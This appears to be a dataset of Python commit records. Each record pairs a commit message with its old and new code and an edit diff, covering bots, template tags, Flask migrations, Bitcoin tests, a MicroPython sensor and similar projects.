__author__ = "Patrick Guelcher"
__copyright__ = "(C) 2016 Patrick Guelcher"
__license__ = "MIT"
__version__ = "1.0"
"""
A bot for Twitter that checks the time and then posts it as an md5 hash value.
"""
import time
import hashlib
import tweepy
# Configuration (Twitter API Settings)
CONSUMER_KE... | Clean code and conform to python conventions | Clean code and conform to python conventions
Some things are still a bit weird, mostly due to my limited knowledge of
Python.
Also fixed code to conform to Python naming conventions for
variables/functions.
| Python | mit | aerovolts/python-scripts | <REPLACE_OLD> """
md5bot.py -- <REPLACE_NEW> #!/usr/bin/env python
__author__ = "Patrick Guelcher"
__copyright__ = "(C) 2016 Patrick Guelcher"
__license__ = "MIT"
__version__ = "1.0"
"""
A bot for <REPLACE_END> <DELETE> bot <DELETE_END> <REPLACE_OLD> tweets <REPLACE_NEW> checks <REPLACE_END> <DELETE> current <DELETE_... | Clean code and conform to python conventions
Some things are still a bit weird, mostly due to my limited knowledge of
Python.
Also fixed code to conform to Python naming conventions for
variables/functions.
"""
md5bot.py -- Twitter bot that tweets the current time as an md5 value
"""
import time
import hashlib
impo... |
31c3aa17875bf6e3c51d0a8b47500cd4f234f002 | knights/k_tags.py | knights/k_tags.py |
import ast
from .klass import build_method
from .library import Library
register = Library()
def parse_args(bits):
'''
Parse tag bits as if they're function args
'''
code = ast.parse('x(%s)' % bits, mode='eval')
return code.body.args, code.body.keywords
@register.tag(name='block')
def block(s... | Add basic block tag implementation | Add basic block tag implementation
| Python | mit | funkybob/knights-templater,funkybob/knights-templater | <REPLACE_OLD> <REPLACE_NEW>
import ast
from .klass import build_method
from .library import Library
register = Library()
def parse_args(bits):
'''
Parse tag bits as if they're function args
'''
code = ast.parse('x(%s)' % bits, mode='eval')
return code.body.args, code.body.keywords
@register.... | Add basic block tag implementation
| |
17f6d104810f53a3ceac4943f3b80def3917b356 | textx/__init__.py | textx/__init__.py | # flake8: noqa
from textx.metamodel import metamodel_from_file, metamodel_from_str
from textx.model import get_children_of_type, get_parent_of_type, \
get_model, get_metamodel, get_children, get_location, textx_isinstance
from textx.exceptions import TextXError, TextXSyntaxError, \
TextXSemanticError, TextXRegi... | # flake8: noqa
from textx.metamodel import metamodel_from_file, metamodel_from_str
from textx.model import get_children_of_type, get_parent_of_type, \
get_model, get_metamodel, get_children, get_location, textx_isinstance
from textx.exceptions import TextXError, TextXSyntaxError, \
TextXSemanticError, TextXRegi... | Remove click dependent import from the main module. | Remove click dependent import from the main module.
This leads to import error when textX is installed without CLI support.
| Python | mit | igordejanovic/textX,igordejanovic/textX,igordejanovic/textX | <DELETE> textx.generators import get_output_filename, gen_file
from <DELETE_END> <|endoftext|> # flake8: noqa
from textx.metamodel import metamodel_from_file, metamodel_from_str
from textx.model import get_children_of_type, get_parent_of_type, \
get_model, get_metamodel, get_children, get_location, textx_isinstance... | Remove click dependent import from the main module.
This leads to import error when textX is installed without CLI support.
# flake8: noqa
from textx.metamodel import metamodel_from_file, metamodel_from_str
from textx.model import get_children_of_type, get_parent_of_type, \
get_model, get_metamodel, get_children,... |
fcb060c598f3010de9e702ba419f8c8aa5c0097b | mixmind/database.py | mixmind/database.py | from flask_sqlalchemy import SQLAlchemy
from flask_alembic import Alembic
db = SQLAlchemy()
alembic = Alembic()
def init_db():
# import all modules here that might define models so that
# they will be registered properly on the metadata. Otherwise
# you will have to import them first before calling init_... | from flask_sqlalchemy import SQLAlchemy
from flask_alembic import Alembic
from . import app
db = SQLAlchemy()
alembic = Alembic()
def init_db():
# import all modules here that might define models so that
# they will be registered properly on the metadata. Otherwise
# you will have to import them first be... | Clean up the upgrader logic and add a config option for it | Clean up the upgrader logic and add a config option for it
| Python | apache-2.0 | twschum/mix-mind,twschum/mix-mind,twschum/mix-mind,twschum/mix-mind | <REPLACE_OLD> Alembic
db <REPLACE_NEW> Alembic
from . import app
db <REPLACE_END> <REPLACE_OLD> #alembic.revision('Convert columns to support unicode')
#alembic.revision('1.1 - change bar model')
#alembic.revision('1.2 - change bar model')
<REPLACE_NEW> if app.config.get('DEBUG', False):
<REPLACE_END> <... | Clean up the upgrader logic and add a config option for it
from flask_sqlalchemy import SQLAlchemy
from flask_alembic import Alembic
db = SQLAlchemy()
alembic = Alembic()
def init_db():
# import all modules here that might define models so that
# they will be registered properly on the metadata. Otherwise
... |
37170b156e6a284d5e5df671875070a3fcac9310 | commands/join.py | commands/join.py | from CommandTemplate import CommandTemplate
from IrcMessage import IrcMessage
class Command(CommandTemplate):
triggers = ['join']
helptext = "Makes me join another channel, if I'm allowed to at least"
def execute(self, message):
"""
:type message: IrcMessage
"""
replytext = ""
if message.messagePartsL... | from CommandTemplate import CommandTemplate
from IrcMessage import IrcMessage
class Command(CommandTemplate):
triggers = ['join']
helptext = "Makes me join another channel, if I'm allowed to at least"
def execute(self, message):
"""
:type message: IrcMessage
"""
replytext = ""
if message.messagePartsL... | Check if we're already in the channel; Improved parameter parsing | [Join] Check if we're already in the channel; Improved parameter parsing
| Python | mit | Didero/DideRobot | <REPLACE_OLD> message.messageParts[0]
if channel.replace('#', '') <REPLACE_NEW> message.messageParts[0].lower()
if channel.startswith('#'):
channel = channel.lstrip('#')
if '#' + channel in message.bot.channelsUserList:
replytext = "I'm already there, waiting for you. You're welcome!"
elif channel ... | [Join] Check if we're already in the channel; Improved parameter parsing
from CommandTemplate import CommandTemplate
from IrcMessage import IrcMessage
class Command(CommandTemplate):
triggers = ['join']
helptext = "Makes me join another channel, if I'm allowed to at least"
def execute(self, message):
"""
:t... |
643e4c32a378b6702c64e8241fb2ff136892b2cb | setup.py | setup.py | #!/usr/bin/env python
import os
import sys
from setuptools import setup
if "publish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypi")
sys.exit()
elif "testpublish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypitest")
sys.exit()
# Load the __version__ variable withou... | #!/usr/bin/env python
import os
import sys
from setuptools import setup
if "publish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypi")
sys.exit()
elif "testpublish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypitest")
sys.exit()
# Load the __version__ variable withou... | Add requests to the requirements | Add requests to the requirements
| Python | mit | barentsen/k2mosaic | <REPLACE_OLD> 'tqdm'],
<REPLACE_NEW> 'tqdm', 'requests'],
<REPLACE_END> <|endoftext|> #!/usr/bin/env python
import os
import sys
from setuptools import setup
if "publish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypi")
sys.exit()
elif "testpublish" in sys.argv[-1]:
os.system("python se... | Add requests to the requirements
#!/usr/bin/env python
import os
import sys
from setuptools import setup
if "publish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypi")
sys.exit()
elif "testpublish" in sys.argv[-1]:
os.system("python setup.py sdist upload -r pypitest")
sys.exit()
# Lo... |
7cb7474e4ed51e0080c42e97acd823d1417bdbe9 | UM/Qt/GL/QtTexture.py | UM/Qt/GL/QtTexture.py | # Copyright (c) 2015 Ultimaker B.V.
# Uranium is released under the terms of the AGPLv3 or higher.
from PyQt5.QtGui import QOpenGLTexture, QImage
from UM.View.GL.Texture import Texture
from UM.View.GL.OpenGL import OpenGL
## Texture subclass using PyQt for the OpenGL implementation.
class QtTexture(Texture):
de... | # Copyright (c) 2015 Ultimaker B.V.
# Uranium is released under the terms of the AGPLv3 or higher.
from PyQt5.QtGui import QOpenGLTexture, QImage
from UM.View.GL.Texture import Texture
from UM.View.GL.OpenGL import OpenGL
## Texture subclass using PyQt for the OpenGL implementation.
class QtTexture(Texture):
de... | Set Texture minification/magnification filters to Linear | Set Texture minification/magnification filters to Linear
This improves the quality of textures that need to be rendered at a
smaller
size.
| Python | agpl-3.0 | onitake/Uranium,onitake/Uranium | <INSERT> self._qt_texture.setMinMagFilters(QOpenGLTexture.Linear, QOpenGLTexture.Linear)
<INSERT_END> <|endoftext|> # Copyright (c) 2015 Ultimaker B.V.
# Uranium is released under the terms of the AGPLv3 or higher.
from PyQt5.QtGui import QOpenGLTexture, QImage
from UM.View.GL.Texture import Texture
from UM.V... | Set Texture minification/magnification filters to Linear
This improves the quality of textures that need to be rendered at a
smaller
size.
# Copyright (c) 2015 Ultimaker B.V.
# Uranium is released under the terms of the AGPLv3 or higher.
from PyQt5.QtGui import QOpenGLTexture, QImage
from UM.View.GL.Texture import ... |
197e3910f64fc34aec71c1788f4e944c33e05422 | tests/test_dgim_quality.py | tests/test_dgim_quality.py | import unittest
import random
from dgim.dgim import Dgim
class ExactAlgorithm(object):
"""Exact algorithm to count the number of ones
in the last N elements of a stream."""
def __init__(self, N):
"""Constructor
:param N: size of the sliding window
:type N: int
"""
se... | Add tests to assess algorithm quality. | Add tests to assess algorithm quality.
To test the quality, implement an exact algorithm to count the number
of ones in the last N elements of a stream.
Then compare the dgim result with the exact result and check that the
dgim estimates is in the expected bounds.
| Python | bsd-3-clause | simondolle/dgim,simondolle/dgim | <REPLACE_OLD> <REPLACE_NEW> import unittest
import random
from dgim.dgim import Dgim
class ExactAlgorithm(object):
"""Exact algorithm to count the number of ones
in the last N elements of a stream."""
def __init__(self, N):
"""Constructor
:param N: size of the sliding window
:type ... | Add tests to assess algorithm quality.
To test the quality, implement an exact algorithm to count the number
of ones in the last N elements of a stream.
Then compare the dgim result with the exact result and check that the
dgim estimates is in the expected bounds.
| |
76d2386bfa9e61ac17bca396384772ae70fb4563 | gauss.py | gauss.py | #!/usr/bin/env python3
#Copyright 2015 BRendan Perrine
import random
random.seed()
print (random.gauss(0,1), "Is a normal distribution with mean zero and standard deviation and varience of one")
| Add one liner to add ability to print a normal distribution with mean zero and varience one | Add one liner to add ability to print a normal distribution with mean zero and varience one
| Python | mit | ianorlin/pyrandtoys | <REPLACE_OLD> <REPLACE_NEW> #!/usr/bin/env python3
#Copyright 2015 BRendan Perrine
import random
random.seed()
print (random.gauss(0,1), "Is a normal distribution with mean zero and standard deviation and varience of one")
<REPLACE_END> <|endoftext|> #!/usr/bin/env python3
#Copyright 2015 BRendan Perrine
imp... | Add one liner to add ability to print a normal distribution with mean zero and varience one
| |
ed45c8201977aecde226b2e9b060820a8fd677c3 | test/functional/rpc_deprecated.py | test/functional/rpc_deprecated.py | #!/usr/bin/env python3
# Copyright (c) 2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test deprecation of RPC calls."""
from test_framework.test_framework import BitcoinTestFramework
from test_f... | #!/usr/bin/env python3
# Copyright (c) 2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test deprecation of RPC calls."""
from test_framework.test_framework import BitcoinTestFramework
class Depr... | Remove test for deprecated createmultsig option | [tests] Remove test for deprecated createmultsig option
| Python | mit | guncoin/guncoin,AkioNak/bitcoin,tjps/bitcoin,myriadteam/myriadcoin,tjps/bitcoin,tecnovert/particl-core,vmp32k/litecoin,jamesob/bitcoin,achow101/bitcoin,jtimon/bitcoin,particl/particl-core,DigitalPandacoin/pandacoin,MarcoFalke/bitcoin,kazcw/bitcoin,cdecker/bitcoin,andreaskern/bitcoin,paveljanik/bitcoin,Kogser/bitcoin,an... | <REPLACE_OLD> BitcoinTestFramework
from test_framework.util import assert_raises_rpc_error
class <REPLACE_NEW> BitcoinTestFramework
class <REPLACE_END> <REPLACE_OLD> ["-deprecatedrpc=createmultisig"]]
<REPLACE_NEW> []]
<REPLACE_END> <INSERT> # This test should be used to verify correct behaviour of deprecated
... | [tests] Remove test for deprecated createmultsig option
#!/usr/bin/env python3
# Copyright (c) 2017 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test deprecation of RPC calls."""
from test_framewo... |
5761364149b3171521cb4f72f591dc5f5cbd77d6 | temp-sensor02/main.py | temp-sensor02/main.py | from machine import Pin
from ds18x20 import DS18X20
import onewire
import time
import machine
import ujson
import urequests
def posttocloud(temperature):
keystext = open("sparkfun_keys.json").read()
keys = ujson.loads(keystext)
url = keys['inputUrl'] + "?private_key=" + keys['privateKey'] + "&temp=" + str(temper... | from machine import Pin
from ds18x20 import DS18X20
import onewire
import time
import ujson
import urequests
def posttocloud(temperature):
keystext = open("sparkfun_keys.json").read()
keys = ujson.loads(keystext)
params = {}
params['temp'] = temperature
params['private_key'] = keys['privateKey']
#dat... | Build a query string with params in a dictionary and append it to the URL. Makes the code readale. Remove commented code | Build a query string with params in a dictionary and append it to the URL. Makes the code readale. Remove commented code
| Python | mit | fuzzyhandle/esp8266hangout,fuzzyhandle/esp8266hangout,fuzzyhandle/esp8266hangout | <DELETE> machine
import <DELETE_END> <INSERT>
<INSERT_END> <INSERT> params = {}
params['temp'] = temperature
params['private_key'] = keys['privateKey']
#data.sparkfun doesn't support putting data into the POST Body.
#We had to add the data to the query string
#Copied the Dirty hack from
#https://githu... | Build a query string with params in a dictionary and append it to the URL. Makes the code readale. Remove commented code
from machine import Pin
from ds18x20 import DS18X20
import onewire
import time
import machine
import ujson
import urequests
def posttocloud(temperature):
keystext = open("sparkfun_keys.json").rea... |
1ecc81d47cb8a9b07e5b37f382f1145c5232359d | docs/conf.py | docs/conf.py | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from sphinx_celery import conf
globals().update(conf.build_config(
'amqp', __file__,
project='py-amqp',
description='Python Promises',
version_dev='2.0',
version_stable='1.4',
canonical_url='https://amqp.readthedo... | # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from sphinx_celery import conf
globals().update(conf.build_config(
'amqp', __file__,
project='py-amqp',
description='Python Promises',
version_dev='2.1',
version_stable='2.0',
canonical_url='https://amqp.readthedo... | Set stable version to 2.x | Docs: Set stable version to 2.x
| Python | lgpl-2.1 | smurfix/aio-py-amqp,smurfix/aio-py-amqp | <REPLACE_OLD> version_dev='2.0',
<REPLACE_NEW> version_dev='2.1',
<REPLACE_END> <REPLACE_OLD> version_stable='1.4',
<REPLACE_NEW> version_stable='2.0',
<REPLACE_END> <|endoftext|> # -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from sphinx_celery import conf
globals().update(conf.... | Docs: Set stable version to 2.x
# -*- coding: utf-8 -*-
from __future__ import absolute_import, unicode_literals
from sphinx_celery import conf
globals().update(conf.build_config(
'amqp', __file__,
project='py-amqp',
description='Python Promises',
version_dev='2.0',
version_stable='1.4',
cano... |
1909e42563dff9b711795ac4da2a954dd53737cd | tempest/api/identity/admin/v3/test_users_negative.py | tempest/api/identity/admin/v3/test_users_negative.py | # Copyright 2015 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | Add keystone v3 user negative cases | Add keystone v3 user negative cases
Implement the keystone v3 user negative case:
test_create_user_for_non_existent_domain
Change-Id: I644cfb0bea4abe2932a759ff86f446043170488d
Partial-Bug: 1513748
| Python | apache-2.0 | LIS/lis-tempest,Juniper/tempest,sebrandon1/tempest,openstack/tempest,masayukig/tempest,Tesora/tesora-tempest,zsoltdudas/lis-tempest,bigswitch/tempest,masayukig/tempest,vedujoshi/tempest,LIS/lis-tempest,sebrandon1/tempest,Juniper/tempest,bigswitch/tempest,Tesora/tesora-tempest,cisco-openstack/tempest,openstack/tempest,c... | <REPLACE_OLD> <REPLACE_NEW> # Copyright 2015 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/L... | Add keystone v3 user negative cases
Implement the keystone v3 user negative case:
test_create_user_for_non_existent_domain
Change-Id: I644cfb0bea4abe2932a759ff86f446043170488d
Partial-Bug: 1513748
| |
7182f52f495174dc7a9689100f5298e848b8229c | setup.py | setup.py | """Cloud browser package."""
from setuptools import setup, find_packages
from cloud_browser import __version__
# Base packages.
MOD_NAME = "cloud_browser"
PKGS = [x for x in find_packages() if x.split('.')[0] == MOD_NAME]
setup(
name="django-cloud-browser",
version=__version__,
description="Django Cloud... | """Cloud browser package."""
from __future__ import with_statement
import os
from setuptools import setup, find_packages
from cloud_browser import __version__
###############################################################################
# Base packages.
#############################################################... | Add long description read straight from README. | Setup: Add long description read straight from README.
| Python | mit | ryan-roemer/django-cloud-browser,ryan-roemer/django-cloud-browser,UrbanDaddy/django-cloud-browser,UrbanDaddy/django-cloud-browser,ryan-roemer/django-cloud-browser | <REPLACE_OLD> package."""
from <REPLACE_NEW> package."""
from __future__ import with_statement
import os
from <REPLACE_END> <REPLACE_OLD> __version__
# <REPLACE_NEW> __version__
###############################################################################
# <REPLACE_END> <REPLACE_OLD> packages.
MOD_NAME <REPLACE_... | Setup: Add long description read straight from README.
"""Cloud browser package."""
from setuptools import setup, find_packages
from cloud_browser import __version__
# Base packages.
MOD_NAME = "cloud_browser"
PKGS = [x for x in find_packages() if x.split('.')[0] == MOD_NAME]
setup(
name="django-cloud-browser"... |
5a82f76e3e95268fb1bbb297faa43e7f7cb59058 | tests/perf_concrete_execution.py | tests/perf_concrete_execution.py |
# Performance tests on concrete code execution without invoking Unicorn engine
import os
import time
import logging
import angr
test_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..', 'binaries', 'tests'))
def test_tight_loop(arch):
b = angr.Project(os.path.join(test_locatio... |
# Performance tests on concrete code execution without invoking Unicorn engine
import os
import time
import logging
import angr
test_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..', 'binaries', 'tests'))
def test_tight_loop(arch):
b = angr.Project(os.path.join(test_locatio... | Enable SimLightRegisters and remove COPY_STATES for the performance test case. | Enable SimLightRegisters and remove COPY_STATES for the performance test case.
| Python | bsd-2-clause | angr/angr,schieb/angr,schieb/angr,iamahuman/angr,schieb/angr,iamahuman/angr,angr/angr,iamahuman/angr,angr/angr | <INSERT> state = b.factory.full_init_state(plugins={'registers': angr.state_plugins.SimLightRegisters()},
remove_options={angr.sim_options.COPY_STATES})
<INSERT_END> <REPLACE_OLD> b.factory.simgr()
<REPLACE_NEW> b.factory.simgr(state)
<REPLACE_END> <|endoftext|>
# Performa... | Enable SimLightRegisters and remove COPY_STATES for the performance test case.
# Performance tests on concrete code execution without invoking Unicorn engine
import os
import time
import logging
import angr
test_location = str(os.path.join(os.path.dirname(os.path.realpath(__file__)), '..', '..', 'binaries', 'test... |
72e5b32a0306ad608b32eaaa4817b0e5b5ef3c8d | project/asylum/utils.py | project/asylum/utils.py | # -*- coding: utf-8 -*-
import importlib
import random
from django.conf import settings
def get_handler_instance(setting):
"""Gets instance of class defined in the given setting"""
try:
setting_value = getattr(settings, setting)
except AttributeError:
return None
if not setting_value:... | # -*- coding: utf-8 -*-
import calendar
import datetime
import importlib
import random
from django.conf import settings
def get_handler_instance(setting):
"""Gets instance of class defined in the given setting"""
try:
setting_value = getattr(settings, setting)
except AttributeError:
retur... | Add helper for iterating over months and move date proxy here | Add helper for iterating over months and move date proxy here
the proxy is now needed by two commands
| Python | mit | rambo/asylum,hacklab-fi/asylum,HelsinkiHacklab/asylum,jautero/asylum,hacklab-fi/asylum,rambo/asylum,HelsinkiHacklab/asylum,jautero/asylum,rambo/asylum,hacklab-fi/asylum,hacklab-fi/asylum,jautero/asylum,rambo/asylum,jautero/asylum,HelsinkiHacklab/asylum,HelsinkiHacklab/asylum | <INSERT> calendar
import datetime
import <INSERT_END> <REPLACE_OLD> ret
<REPLACE_NEW> ret
# Adapted from http://www.ianlewis.org/en/python-date-range-iterator
def months(from_date=None, to_date=None):
from_date = from_date or datetime.datetime.now().date()
while to_date is None or from_date <= to_date:
... | Add helper for iterating over months and move date proxy here
the proxy is now needed by two commands
# -*- coding: utf-8 -*-
import importlib
import random
from django.conf import settings
def get_handler_instance(setting):
"""Gets instance of class defined in the given setting"""
try:
setting_val... |
83efb4c86ea34e9f51c231a3b7c96929d2ba5ee6 | bluebottle/utils/staticfiles_finders.py | bluebottle/utils/staticfiles_finders.py | from django.utils._os import safe_join
import os
from django.conf import settings
from django.contrib.staticfiles.finders import FileSystemFinder
from bluebottle.clients.models import Client
class TenantStaticFilesFinder(FileSystemFinder):
def find(self, path, all=False):
"""
Looks for files in ... | from django.utils._os import safe_join
import os
from django.conf import settings
from django.contrib.staticfiles.finders import FileSystemFinder
from bluebottle.clients.models import Client
class TenantStaticFilesFinder(FileSystemFinder):
def find(self, path, all=False):
"""
Looks for files in ... | Fix static files finder errors | Fix static files finder errors
Conflicts:
bluebottle/utils/staticfiles_finders.py
| Python | bsd-3-clause | onepercentclub/bluebottle,jfterpstra/bluebottle,jfterpstra/bluebottle,jfterpstra/bluebottle,jfterpstra/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle,onepercentclub/bluebottle | <REPLACE_OLD> None)
<REPLACE_NEW> None)
<REPLACE_END> <INSERT> if all:
return [local_path]
<INSERT_END> <REPLACE_OLD> return
<REPLACE_NEW> return matches
<REPLACE_END> <|endoftext|> from django.utils._os import safe_join
import os
from django.conf import settings
from dj... | Fix static files finder errors
Conflicts:
bluebottle/utils/staticfiles_finders.py
from django.utils._os import safe_join
import os
from django.conf import settings
from django.contrib.staticfiles.finders import FileSystemFinder
from bluebottle.clients.models import Client
class TenantStaticFilesFinder(FileSystemFi... |
b77d4a534f5f6435f0f60c0a082b9ae02673d574 | tests/twisted/connect/network-error.py | tests/twisted/connect/network-error.py |
"""
Connection is disconnected because server closes its TCP stream abruptly.
"""
from gabbletest import exec_test
from servicetest import EventPattern
import constants as cs
import sys
def test(q, bus, conn, stream):
conn.Connect()
q.expect('dbus-signal', signal='StatusChanged',
args=[cs.CONN_S... |
"""
Connection is disconnected because server closes its TCP stream abruptly.
"""
from gabbletest import exec_test
from servicetest import EventPattern
import constants as cs
import sys
def test(q, bus, conn, stream):
conn.Connect()
q.expect('dbus-signal', signal='StatusChanged',
args=[cs.CONN_S... | Make sure state change signal to 'disconnected' is also sent. | Make sure state change signal to 'disconnected' is also sent.
| Python | lgpl-2.1 | Ziemin/telepathy-gabble,jku/telepathy-gabble,mlundblad/telepathy-gabble,Ziemin/telepathy-gabble,jku/telepathy-gabble,Ziemin/telepathy-gabble,Ziemin/telepathy-gabble,jku/telepathy-gabble,mlundblad/telepathy-gabble,mlundblad/telepathy-gabble | <INSERT> q.expect('dbus-signal', signal='StatusChanged',
args=[cs.CONN_STATUS_DISCONNECTED, cs.CSR_NONE_SPECIFIED])
<INSERT_END> <|endoftext|>
"""
Connection is disconnected because server closes its TCP stream abruptly.
"""
from gabbletest import exec_test
from servicetest import EventPattern
impor... | Make sure state change signal to 'disconnected' is also sent.
"""
Connection is disconnected because server closes its TCP stream abruptly.
"""
from gabbletest import exec_test
from servicetest import EventPattern
import constants as cs
import sys
def test(q, bus, conn, stream):
conn.Connect()
q.expect('dbu... |
7b4531ec867982ba2f660a2a08e85dbae457083e | users/models.py | users/models.py | import hashlib
import urllib.parse as urllib
from django.contrib.auth.models import User
from django.db import models
# extension to django's User class which has authentication details
# as well as some basic info such as name
class Member(models.Model):
def gravatar(self, size=128):
default = "https://... | import hashlib
import urllib.parse as urllib
from django.contrib.auth.models import User
from django.db import models
# extension to django's User class which has authentication details
# as well as some basic info such as name
class Member(models.Model):
def gravatar(self, size=128):
default = "https://... | Fix new line stripping in admin site | Fix new line stripping in admin site
Closes #87
| Python | isc | ashbc/tgrsite,ashbc/tgrsite,ashbc/tgrsite | <REPLACE_OLD> models.CharField(max_length=4096, <REPLACE_NEW> models.TextField(max_length=4096, <REPLACE_END> <REPLACE_OLD> models.CharField(max_length=1024, <REPLACE_NEW> models.TextField(max_length=1024, <REPLACE_END> <|endoftext|> import hashlib
import urllib.parse as urllib
from django.contrib.auth.models import U... | Fix new line stripping in admin site
Closes #87
import hashlib
import urllib.parse as urllib
from django.contrib.auth.models import User
from django.db import models
# extension to django's User class which has authentication details
# as well as some basic info such as name
class Member(models.Model):
def gra... |
a82067a5484133233ccf7037e5c277eaaa5318fa | aioes/__init__.py | aioes/__init__.py | import re
import sys
from collections import namedtuple
from .client import Elasticsearch
__all__ = ('Elasticsearch',)
__version__ = '0.1.0a'
version = __version__ + ' , Python ' + sys.version
VersionInfo = namedtuple('VersionInfo',
'major minor micro releaselevel serial')
def _parse_v... | import re
import sys
from collections import namedtuple
from .client import Elasticsearch
from .exception import (ConnectionError, NotFountError, ConflictError,
RequestError, TransportError)
__all__ = ('Elasticsearch', 'ConnectionError', 'NotFountError',
'ConflictError', 'RequestErr... | Add aioes exceptions to top-level imports | Add aioes exceptions to top-level imports
| Python | apache-2.0 | aio-libs/aioes | <REPLACE_OLD> Elasticsearch
__all__ = ('Elasticsearch',)
__version__ <REPLACE_NEW> Elasticsearch
from .exception import (ConnectionError, NotFountError, ConflictError,
RequestError, TransportError)
__all__ = ('Elasticsearch', 'ConnectionError', 'NotFountError',
'ConflictError', 'R... | Add aioes exceptions to top-level imports
import re
import sys
from collections import namedtuple
from .client import Elasticsearch
__all__ = ('Elasticsearch',)
__version__ = '0.1.0a'
version = __version__ + ' , Python ' + sys.version
VersionInfo = namedtuple('VersionInfo',
'major minor... |
b941f17d80b19f905cc15a350fc3d9a4f083baf9 | tools/invocation-info-info.py | tools/invocation-info-info.py | #!/usr/bin/env python
# Copyright (c) 2016, Daniel Liew
# This file is covered by the license in LICENSE-SVCB.txt
"""
Read an invocation info files and display information
about it.
"""
from load_klee_runner import add_KleeRunner_to_module_search_path
add_KleeRunner_to_module_search_path()
from KleeRunner import Invoca... | Add tool to display information about an invocation info file. | Add tool to display information about an invocation info file.
| Python | mit | delcypher/klee-runner,delcypher/klee-runner | <INSERT> #!/usr/bin/env python
# Copyright (c) 2016, Daniel Liew
# This file is covered by the license in LICENSE-SVCB.txt
"""
Read an invocation info files and display information
about it.
"""
from load_klee_runner import add_KleeRunner_to_module_search_path
add_KleeRunner_to_module_search_path()
from KleeRunner impo... | Add tool to display information about an invocation info file.
| |
70f4c55d760552829a86b30baa6d6eac3f6dc47f | billy/bin/commands/loaddistricts.py | billy/bin/commands/loaddistricts.py | import os
import logging
import unicodecsv
from billy.core import settings, db
from billy.bin.commands import BaseCommand
logger = logging.getLogger('billy')
class LoadDistricts(BaseCommand):
name = 'loaddistricts'
help = 'Load in the Open States districts'
def add_args(self):
self.add_argument... | import os
import logging
import unicodecsv
from billy.core import settings, db
from billy.bin.commands import BaseCommand
logger = logging.getLogger('billy')
class LoadDistricts(BaseCommand):
name = 'loaddistricts'
help = 'Load in the Open States districts'
def add_args(self):
self.add_argument... | Use division_id in place of bounary_id | Use division_id in place of bounary_id
| Python | bsd-3-clause | loandy/billy,openstates/billy,openstates/billy,sunlightlabs/billy,sunlightlabs/billy,openstates/billy,mileswwatkins/billy,sunlightlabs/billy,mileswwatkins/billy,loandy/billy,loandy/billy,mileswwatkins/billy | <INSERT> # <INSERT_END> <INSERT> dist['boundary_id'] = dist['division_id'] # Stop-gap
<INSERT_END> <|endoftext|> import os
import logging
import unicodecsv
from billy.core import settings, db
from billy.bin.commands import BaseCommand
logger = logging.getLogger('billy')
class LoadDistricts(Base... | Use division_id in place of bounary_id
import os
import logging
import unicodecsv
from billy.core import settings, db
from billy.bin.commands import BaseCommand
logger = logging.getLogger('billy')
class LoadDistricts(BaseCommand):
name = 'loaddistricts'
help = 'Load in the Open States districts'
def a... |
77eb463bde029956557a1e9abedbef22ec21f647 | examples/list_windows_updates.py | examples/list_windows_updates.py | """
Example script for listing installed updates on Windows 10
Requirements:
- Windows 10 (may work on Win7+)
- pywinauto 0.6.1+
This example opens "Control Panel", navigates to "Installed Updates" page
and lists all updates (for all apps) as well as OS Windows updates only.
"""
from __future__ import print_func... | Add an example listing installed Windows updates. | Add an example listing installed Windows updates.
| Python | bsd-3-clause | airelil/pywinauto,vasily-v-ryabov/pywinauto,cetygamer/pywinauto,pywinauto/pywinauto,drinkertea/pywinauto | <INSERT> """
Example script for listing installed updates on Windows 10
Requirements:
<INSERT_END> <INSERT> - Windows 10 (may work on Win7+)
- pywinauto 0.6.1+
This example opens "Control Panel", navigates to "Installed Updates" page
and lists all updates (for all apps) as well as OS Windows updates only.
"""
fro... | Add an example listing installed Windows updates.
| |
632f71651864517cc977f79dcdac7f3b0f516b49 | scripts/post_data.py | scripts/post_data.py | #!/usr/bin/env python3
import requests
domain = 'http://dakis.gimbutas.lt/api/'
exp_data = {
"description": "First successful post through API",
"algorithm": "TestTasks",
"neighbours": "Nearest",
"stopping_criteria": "x_dist",
"stopping_accuracy": "0.01",
"subregion": "simplex",
"inner_pr... | Add example script to post experiment and task data | Add example script to post experiment and task data
| Python | agpl-3.0 | niekas/dakis,niekas/dakis,niekas/dakis | <INSERT> #!/usr/bin/env python3
import requests
domain = 'http://dakis.gimbutas.lt/api/'
exp_data = {
<INSERT_END> <INSERT> "description": "First successful post through API",
"algorithm": "TestTasks",
"neighbours": "Nearest",
"stopping_criteria": "x_dist",
"stopping_accuracy": "0.01",
"subreg... | Add example script to post experiment and task data
| |
f970198596d8c20c89701fbcce38fd5736096e86 | namegen/markov.py | namegen/markov.py | #!/usr/bin/env python
"""
Module which produces readble name from 256-bit of random data
(i.e. sha-256 hash)
"""
MAXWORDLEN=12
#
# Modules which contain problablity dictionaries
# generated by genmarkov script
#
from surname_hash import surname
from female_hash import female
from male_hash import male
#
import operat... | Set maximal word length limit | Set maximal word length limit
| Python | agpl-3.0 | cheshirenet/cheshirenet | <INSERT> #!/usr/bin/env python
"""
Module which produces readble name from 256-bit of random data
(i.e. sha-256 hash)
"""
MAXWORDLEN=12
#
# Modules which contain problablity dictionaries
# generated by genmarkov script
